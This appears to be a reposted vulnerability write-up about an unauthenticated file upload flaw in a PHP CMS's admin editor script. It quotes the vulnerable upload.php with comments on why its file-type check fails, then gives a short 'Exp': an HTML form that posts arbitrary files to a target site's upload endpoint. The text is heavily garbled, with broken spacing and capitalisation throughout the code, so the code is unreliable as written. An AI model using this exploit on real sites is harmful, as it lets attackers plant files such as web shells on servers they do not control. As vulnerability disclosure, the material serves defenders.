A small program, by the way, accidentally saw it.
./Admin/editor/upload. php
Require_once ("../admin_conn.php ");
$ Action = be ("get", "action ");
$ Ftypes = array ('jpg ', 'gif', 'bmp', 'png ', ". jpeg ");
$ UpfileDir = ".../". $ _ SESSION ["upfolder"]. "/". getSavePicPath ()."/";
$ MaxSize = 1000;
If (! File_exists ($ upfileDir )){
Mkdir ($ upfileDir );
}
Foreach ($ _ FILES as $ FILEa ){
If (! In_array (substr ($ FILEa ['name'],-3, 3), $ ftypes ))
$ Errm = "incorrect file format 1 [<a href = # onclick = history. go (-1)> re-upload </a>] "; // only stores the message in a variable and does not showmsg and exit...
If ($ FILEa ['SIZE']> $ maxSize * 1024)
$ Errm = "the file size exceeds the limit [<a onclick = history. go (-1)> re-upload </a>]";
If ($ FILEa ['error']! = 0)
$ Errm = "Unknown error ";
$ TargetDir = ".. /". $ _ SESSION ["upfolder"]. "/". getSavePicPath (). "/"; // No Logon so session = null...
$ TargetFile = date ('ymmd'). time (). substr ($ FILEa ['name'],-4, 4 );
$ RealFile = $ targetDir. $ targetFile;
If (function_exists ('move _ uploaded_file ')){
Move_uploaded_file ($ FILEa ['tmp _ name'], $ realFile); // move the uploaded file
If (app_watermark = 1 ){
ImageWaterMark ($ targetDir. $ targetFile, app_waterlocation, app_waterfont );
}
If ($ action = "xht "){
Echo "{'err ':'". $ errm. "', 'msg ':'". app_installdir. replaceStr ($ upfileDir ,".. /.. /",""). $ targetFile. "'}";
}
Else {// is die late now?
Die ("<script> parent.doc ument. getElementById ('pic '). value = '". replaceStr ($ upfileDir ,".. /.. /",""). $ targetFile. "'</script> ");
}
}
Else {
@ Copy ($ FILEa ['tmp _ name'], $ realFile); // same as above
If (app_watermark = 1 ){
ImageWaterMark ($ targetDir. $ targetFile, app_waterlocation, app_waterfont );
}
If ($ action = "xht "){
Echo "{'err ':'". $ errm. "', 'msg ':'". app_installdir. replaceStr ($ upfileDir ,".. /.. /",""). $ targetFile. "'}";
}
Else {
Die ("<script> parent.doc ument. getElementById ('pic '). value = '". replaceStr ($ upfileDir ,".. /.. /",""). $ targetFile. "'</script> ");
}
}
}
Why is it true that it is./admin/index. php?
If (cururl. indexOf ("/admin/")> 0) {alert ('change the folder admin name to avoid hacker intrusion ');}
So, I searched most (90% + +) and modified the background address.
Exp
<Body leftmargin = 0 topmargin = 0 style = "font-size: 11px">
<Form name = "form" enctype = "multipart/form-data" action = "http://www.bkjia.com/www/mcms/admin/editor/upload. php" method = "post">
<Input type = file name = file1>
<Input type = submit name = submit value = "Upload">
</Form>
View the source file after the upload ..
Author http://www.90sec.org/thread-1727-1-1.html
Www.2cto.com:
Refer to code analysis. Do not use the default address in the background.